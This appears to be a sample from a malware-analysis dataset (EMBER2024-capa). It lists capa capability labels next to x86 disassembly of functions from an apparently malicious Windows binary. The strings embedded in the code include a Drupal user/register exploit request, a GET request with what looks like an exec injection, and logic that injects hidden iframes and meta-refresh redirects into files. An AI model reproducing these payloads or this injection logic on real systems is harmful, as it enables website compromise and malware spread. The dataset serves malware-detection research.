joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4041a0
Capabilities:
Reference http user-agent string
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
mov eax, dword [0x75ce68]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x41c], ecx
mov byte [ebp - 0x404], 0
push 0x3ff
push 0
lea eax, [ebp - 0x403]
push eax
call fcn.0061cde0
add esp, 0xc
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
push str.GET___HTTP_1.1_r_nHost:__s:_d_r_nUser_Agent:_Mozilla_5.0__Windows_NT_10.0__Win64__x64__rv:55.0__Gecko_20100101_Firefox_55.0_r_nAccept:_text_html_application_xhtmlxml_application_xml_q0.9___q0.8_r_nAccept_Language:_zh_CN_zh_q0.8_en_US_q0.5_en_q0.3_r_naccept_charset:__s_r_nContent_Length:_18_r_nAccept_Encoding:_gzip_deflate_r_nUpgrade_Insecure_Requests:_1_r_nConnection:_close_r_n_r_n
lea ecx, [ebp - 0x404]
push ecx
call fcn.00404c10
add esp, 0x14
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
push eax
call fcn.004049f0
add esp, 8
mov dword [ebp - 0x410], eax
lea ecx, [ebp - 0x404]
mov dword [ebp - 0x40c], ecx
mov edx, dword [ebp - 0x40c]
add edx, 1
mov dword [ebp - 0x414], edx
mov eax, dword [ebp - 0x40c]
mov cl, byte [eax]
mov byte [ebp - 0x405], cl
add dword [ebp - 0x40c], 1
cmp byte [ebp - 0x405], 0
jne 0x40422e
mov edx, dword [ebp - 0x40c]
sub edx, dword [ebp - 0x414]
mov dword [ebp - 0x418], edx
push 0
mov eax, dword [ebp - 0x418]
add eax, 1
push eax
lea ecx, [ebp - 0x404]
push ecx
mov edx, dword [ebp - 0x410]
push edx
call dword [sym.imp.WS2_32.dll_send]
mov eax, dword [ebp - 0x410]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005faac9
mov esp, ebp
pop ebp
ret 0xc
Function at 0x4042a0
Capabilities:
Reference http user-agent string
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6cc
mov eax, dword [0x75ce68]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x6cc], ecx
mov byte [ebp - 0x6a8], 0
push 0x4af
push 0
lea eax, [ebp - 0x6a7]
push eax
call fcn.0061cde0
add esp, 0xc
mov byte [ebp - 0x1f8], 0
push 0x1f3
push 0
lea ecx, [ebp - 0x1f7]
push ecx
call fcn.0061cde0
add esp, 0xc
mov edx, dword [ebp + 0x10]
push edx
push str.form_iduser_register_form_drupal_ajax1mail_post_render___systemmail_type_markupmail_markup__s_r_n_r_n
lea eax, [ebp - 0x1f8]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea ecx, [ebp - 0x1f8]
mov dword [ebp - 0x6b0], ecx
mov edx, dword [ebp - 0x6b0]
add edx, 1
mov dword [ebp - 0x6bc], edx
mov eax, dword [ebp - 0x6b0]
mov cl, byte [eax]
mov byte [ebp - 0x6a9], cl
add dword [ebp - 0x6b0], 1
cmp byte [ebp - 0x6a9], 0
jne 0x404327
mov edx, dword [ebp - 0x6b0]
sub edx, dword [ebp - 0x6bc]
mov dword [ebp - 0x6c0], edx
lea eax, [ebp - 0x1f8]
push eax
mov ecx, dword [ebp - 0x6c0]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
push str.POST__user_register_element_parentsaccount_mail_valueajax_form1_wrapper_formatdrupal_ajax_HTTP_1.1_r_nContent_Type:_application_x_www_form_urlencoded__CharsetUTF_8_r_nAccept:_text_html__application_xhtmlxml__image_jxr____r_nAccept_Language:_en_us_r_nAccept_Encoding:_gzip__deflate_r_nReferer:_http:___s:_d_user_register_element_parentsaccount_mail_valueajax_form1_wrapper_formatdrupal_ajax_r_nUser_Agent:_Mozilla_5.0__WindowsCE_6.0__rv:2.0.1__Gecko_20100101_Firefox_4.0.1_r_nHost:__s:_d_r_nContent_Length:__d_r_nConnection:_close_r_n_r_n_s
push 0x4b0
lea eax, [ebp - 0x6a8]
push eax
call fcn.00403ed0
add esp, 0x24
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.WS2_32.dll_inet_addr]
push eax
call fcn.004049f0
add esp, 8
mov dword [ebp - 0x6b8], eax
lea eax, [ebp - 0x6a8]
mov dword [ebp - 0x6b4], eax
mov ecx, dword [ebp - 0x6b4]
add ecx, 1
mov dword [ebp - 0x6c4], ecx
mov edx, dword [ebp - 0x6b4]
mov al, byte [edx]
mov byte [ebp - 0x6aa], al
add dword [ebp - 0x6b4], 1
cmp byte [ebp - 0x6aa], 0
jne 0x4043c6
mov ecx, dword [ebp - 0x6b4]
sub ecx, dword [ebp - 0x6c4]
mov dword [ebp - 0x6c8], ecx
push 0
mov edx, dword [ebp - 0x6c8]
add edx, 1
push edx
lea eax, [ebp - 0x6a8]
push eax
mov ecx, dword [ebp - 0x6b8]
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov edx, dword [ebp - 0x6b8]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005faac9
mov esp, ebp
pop ebp
ret 0xc
Function at 0x404440
Capabilities:
Reference http user-agent string
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x430
mov eax, dword [0x75ce68]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x430], ecx
mov byte [ebp - 0x18], 0
xor eax, eax
mov dword [ebp - 0x17], eax
mov dword [ebp - 0x13], eax
mov dword [ebp - 0xf], eax
mov dword [ebp - 0xb], eax
mov word [ebp - 7], ax
mov byte [ebp - 5], al
mov byte [ebp - 0x418], 0
push 0x3ff
push 0
lea ecx, [ebp - 0x417]
push ecx
call fcn.0061cde0
add esp, 0xc
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
push 0x707a3c
push str.GET___search_s.exec_s._HTTP_1.1_r_nAccept:_text_html__application_xhtmlxml__image_jxr____r_nContent_Type:_application_x_www_form_urlencoded__CharsetUTF_8_r_nAccept_Language:_en_us_r_nAccept_Encoding:_gzip__deflate_r_nUser_Agent:_Mozilla_5.0__WindowsCE_6.0__rv:2.0.1__Gecko_20100101_Firefox_4.0.1_r_nHost:__s:_d_r_nConnection:_close_r_n_r_n
lea edx, [ebp - 0x418]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_inet_addr]
push eax
call fcn.004049f0
add esp, 8
mov dword [ebp - 0x424], eax
lea edx, [ebp - 0x418]
mov dword [ebp - 0x420], edx
mov eax, dword [ebp - 0x420]
add eax, 1
mov dword [ebp - 0x428], eax
mov ecx, dword [ebp - 0x420]
mov dl, byte [ecx]
mov byte [ebp - 0x419], dl
add dword [ebp - 0x420], 1
cmp byte [ebp - 0x419], 0
jne 0x4044ed
mov eax, dword [ebp - 0x420]
sub eax, dword [ebp - 0x428]
mov dword [ebp - 0x42c], eax
push 0
mov ecx, dword [ebp - 0x42c]
add ecx, 1
push ecx
lea edx, [ebp - 0x418]
push edx
mov eax, dword [ebp - 0x424]
push eax
call dword [sym.imp.WS2_32.dll_send]
mov ecx, dword [ebp - 0x424]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005faac9
mov esp, ebp
pop ebp
ret 0xc
Function at 0x4049f0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Get socket status
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
mov eax, dword [0x75ce68]
xor eax, ebp
mov dword [ebp - 4], eax
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 0xffffffff
jne 0x404a29
mov eax, dword [ebp - 0x11c]
jmp 0x404b84
mov dword [ebp - 0x124], 0x2710
push 4
lea eax, [ebp - 0x124]
push eax
push 0x1005
push 0xffff
mov ecx, dword [ebp - 0x11c]
push ecx
call dword [sym.imp.WS2_32.dll_setsockopt]
push 4
lea edx, [ebp - 0x124]
push edx
push 0x1006
push 0xffff
mov eax, dword [ebp - 0x11c]
push eax
call dword [sym.imp.WS2_32.dll_setsockopt]
mov dword [ebp - 0x128], 1
lea ecx, [ebp - 0x128]
push ecx
push 0x8004667e
mov edx, dword [ebp - 0x11c]
push edx
call dword [sym.imp.WS2_32.dll_ioctlsocket]
mov eax, 2
mov word [ebp - 0x14], ax
movzx ecx, word [ebp + 0xc]
push ecx
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x12], ax
mov edx, dword [ebp + 8]
mov dword [ebp - 0x10], edx
push 0x10
lea eax, [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x11c]
push ecx
call dword [sym.imp.WS2_32.dll_connect]
mov dword [ebp - 0x118], 0
mov dword [ebp - 0x120], 0
jmp 0x404aec
mov edx, dword [ebp - 0x120]
add edx, 1
mov dword [ebp - 0x120], edx
mov eax, dword [ebp - 0x120]
cmp eax, dword [ebp - 0x118]
jae 0x404b13
mov ecx, dword [ebp - 0x120]
mov edx, dword [ebp + ecx*4 - 0x114]
cmp edx, dword [ebp - 0x11c]
jne 0x404b11
jmp 0x404b13
jmp 0x404add
mov eax, dword [ebp - 0x120]
cmp eax, dword [ebp - 0x118]
jne 0x404b4c
cmp dword [ebp - 0x118], 0x40
jae 0x404b4c
mov ecx, dword [ebp - 0x120]
mov edx, dword [ebp - 0x11c]
mov dword [ebp + ecx*4 - 0x114], edx
mov eax, dword [ebp - 0x118]
add eax, 1
mov dword [ebp - 0x118], eax
xor ecx, ecx
jne 0x404ad1
mov dword [ebp - 0x130], 0xa
mov dword [ebp - 0x12c], 0
lea edx, [ebp - 0x130]
push edx
push 0
lea eax, [ebp - 0x118]
push eax
push 0
push 0
call dword [sym.imp.WS2_32.dll_select]
mov eax, dword [ebp - 0x11c]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005faac9
mov esp, ebp
pop ebp
ret

Function at 0x404c50
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 8], 0
push 0
push 0x8000000
push 3
push 0
push 1
push SysReAllocStringLen
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x404c86
xor eax, eax
jmp 0x404ca4
lea ecx, [ebp - 8]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret
Function at 0x404cb0
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 0
push 0x8000000
push 3
push 0
push 1
push SysReAllocStringLen
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x404cdf
xor eax, eax
jmp 0x404d26
push 0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 8], eax
push 0
lea edx, [ebp - 0xc]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x404d0e
xor eax, eax
jmp 0x404d26
mov eax, dword [ebp + 0xc]
add eax, dword [ebp - 8]
mov byte [eax], 0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x404d30
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push 0
push 0x80
push 4
push 0
push 0
push 0x40000000
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x404d5f
xor eax, eax
jmp 0x404dcf
mov dword [ebp - 0x14], 0
movzx ecx, byte [ebp + 0x10]
test ecx, ecx
je 0x404d7e
push 2
push 0
push 0
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [ebp + 0xc]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 8]
mov al, byte [edx]
mov byte [ebp - 1], al
add dword [ebp - 8], 1
cmp byte [ebp - 1], 0
jne 0x404d8d
mov ecx, dword [ebp - 8]
sub ecx, dword [ebp - 0x10]
mov dword [ebp - 0x18], ecx
push 0
lea edx, [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x404de0
Capabilities:
Check if file exists
Copy file
Delete file
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push edi
push 0xc8000
call fcn.0042d3bf
add esp, 4
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x404f3d
push 0xc8000
push 0
mov ecx, dword [ebp - 8]
push ecx
call fcn.0061cde0
add esp, 0xc
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.00404cb0
add esp, 8
push 0
push 0x800
push str._iframe_src_help.scr__width_1__height_1__frameborder_0______iframe_
mov ecx, dword [ebp - 8]
push ecx
call fcn.00405d40
add esp, 0x10
cmp eax, 0xffffffff
jne 0x404f24
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
push str._iframe_src_help.scr__width_1__height_1__frameborder_0______iframe_
mov eax, dword [ebp + 8]
push eax
call fcn.00404d30
add esp, 0xc
test eax, eax
je 0x404f24
cmp dword [ebp + 0xc], 0
je 0x404e89
push 1
push str._meta_http___equiv___refresh__content___15_urlhttp:__
mov ecx, dword [ebp + 8]
push ecx
call fcn.00404d30
add esp, 0xc
push 1
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.00404d30
add esp, 0xc
push 0x5c
mov ecx, dword [ebp + 8]
push ecx
call fcn.00403e40
add esp, 8
test eax, eax
je 0x404f24
push 0x5c
mov edx, dword [ebp + 8]
push edx
call fcn.00403e40
add esp, 8
mov byte [eax], 0
mov eax, dword [ebp + 8]
add eax, 0xffffffff
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
mov dl, byte [ecx + 1]
mov byte [ebp - 1], dl
add dword [ebp - 0xc], 1
cmp byte [ebp - 1], 0
jne 0x404ec7
mov edi, dword [ebp - 0xc]
mov eax, dword [str.help.scr]
mov dword [edi], eax
mov ecx, dword [0x7172d0]
mov dword [edi + 4], ecx
mov dx, word [0x7172d4]
mov word [edi + 8], dx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x404f24
push 1
mov ecx, dword [ebp + 8]
push ecx
push 0x76e5f0
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x27
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov eax, dword [ebp - 8]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.0042d3c8
add esp, 4
mov dword [ebp - 8], 0
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x4055e0
Capabilities:
Enumerate files on windows
Enumerate files recursively
Move file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44c
mov eax, dword [0x75ce68]
xor eax, ebp
mov dword [ebp - 4], eax
mov byte [ebp - 0x204], 0
push 0xff
push 0
lea eax, [ebp - 0x203]
push eax
call fcn.0061cde0
add esp, 0xc
mov byte [ebp - 0x104], 0
push 0xff
push 0
lea ecx, [ebp - 0x103]
push ecx
call fcn.0061cde0
add esp, 0xc
mov edx, dword [ebp + 8]
push edx
push 0x708a64
lea eax, [ebp - 0x304]
push eax
call fcn.00404c10
add esp, 0xc
mov byte [ebp - 0x446], 1
lea ecx, [ebp - 0x444]
push ecx
lea edx, [ebp - 0x304]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x44c], eax
cmp dword [ebp - 0x44c], 0xffffffff
jne 0x40567e
mov dword [ebp - 0x44c], 0
jmp 0x4057cc
movzx eax, byte [ebp - 0x446]
test eax, eax
je 0x4057b5
push 0x708a68
lea ecx, [ebp - 0x418]
push ecx
call fcn.0065b626
add esp, 8
test eax, eax
je 0x40577c
push 0x708a6c
lea edx, [ebp - 0x418]
push edx
call fcn.0065b626
add esp, 8
test eax, eax
je 0x40577c
lea eax, [ebp - 0x418]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0x708a70
lea edx, [ebp - 0x204]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x418]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
push 0x708a78
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
push 2
lea eax, [ebp - 0x104]
push eax
lea ecx, [ebp - 0x204]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
push 2
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
cmp dword [ebp - 0x444], 0x10
jne 0x40577c
lea eax, [ebp - 0x418]
push eax
mov ecx, dword [ebp + 8]
push ecx
push str._s_s_
lea edx, [ebp - 0x304]
push edx
call fcn.00404c10
add esp, 0x10
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
add ecx, 1
push ecx
lea edx, [ebp - 0x304]
push edx
call fcn.004055e0
add esp, 0xc
lea eax, [ebp - 0x444]
push eax
mov ecx, dword [ebp - 0x44c]
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x40579d
mov byte [ebp - 0x445], 1
jmp 0x4057a4
mov byte [ebp - 0x445], 0
mov dl, byte [ebp - 0x445]
mov byte [ebp - 0x446], dl
jmp 0x40567e
mov eax, dword [ebp - 0x44c]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov dword [ebp - 0x44c], 0
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005faac9
mov esp, ebp
pop ebp
ret
Function at 0x405ac0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
movzx eax, byte [ebp + 0x10]
cdq
mov ecx, 0x5f
idiv ecx
add edx, 0x58
mov byte [ebp - 1], dl
mov dword [ebp - 8], 0
jmp 0x405aea
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
cmp eax, dword [ebp + 0xc]
jae 0x405b1f
movzx ecx, byte [ebp - 1]
mov edx, dword [ebp + 8]
movzx eax, byte [edx]
xor eax, ecx
mov ecx, dword [ebp + 8]
mov byte [ecx], al
movzx edx, byte [ebp - 1]
mov eax, dword [ebp + 8]
movzx ecx, byte [eax]
add ecx, edx
mov edx, dword [ebp + 8]
mov byte [edx], cl
mov eax, dword [ebp + 8]
add eax, 1
mov dword [ebp + 8], eax
jmp 0x405ae1
mov esp, ebp
pop ebp
ret

Function at 0x405b30
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0
push 2
push 2
push 0
push 1
push 0x40000000
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x405b7a
push 0
lea ecx, [ebp - 8]
push ecx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov esp, ebp
pop ebp
ret

Function at 0x405b80
Capabilities:
Delete file
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push 0
push 0x80
push 3
push 0
push 0
push SysReAllocStringLen
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x405bb2
xor eax, eax
jmp 0x405c53
push 0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 8], eax
push 4
push 0x3000
mov edx, dword [ebp - 8]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xc], eax
push 0
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x400
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.00405ac0
add esp, 0xc
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.00405b30
add esp, 0xc
push 0x8000
push 0
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov esp, ebp
pop ebp
ret
Function at 0x405c60
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push eax
movzx ecx, word [ebp + 8]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x20], eax
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x405cb2
xor eax, eax
jmp 0x405d3c
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x14], eax
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
mov edx, dword [ebp + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x405cec
xor eax, eax
jmp 0x405d3c
mov dword [ebp - 0x18], 0
push 0
lea eax, [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp + 0x10]
push edx
call fcn.00405b80
add esp, 4
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x18]
jne 0x405d32
mov dword [ebp - 0x1c], 1
jmp 0x405d39
mov dword [ebp - 0x1c], 0
mov eax, dword [ebp - 0x1c]
mov esp, ebp
pop ebp
ret

Function at 0x405ee0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 0x1c], ecx
push 0
push 0x80
push 4
push 0
push 0
push 0x40000000
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x405f12
xor eax, eax
jmp 0x405f82
mov dword [ebp - 0x14], 0
movzx ecx, byte [ebp + 0x10]
test ecx, ecx
je 0x405f31
push 2
push 0
push 0
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [ebp + 0xc]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 8]
mov al, byte [edx]
mov byte [ebp - 1], al
add dword [ebp - 8], 1
cmp byte [ebp - 1], 0
jne 0x405f40
mov ecx, dword [ebp - 8]
sub ecx, dword [ebp - 0x10]
mov dword [ebp - 0x18], ecx
push 0
lea edx, [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov esp, ebp
pop ebp
ret 0xc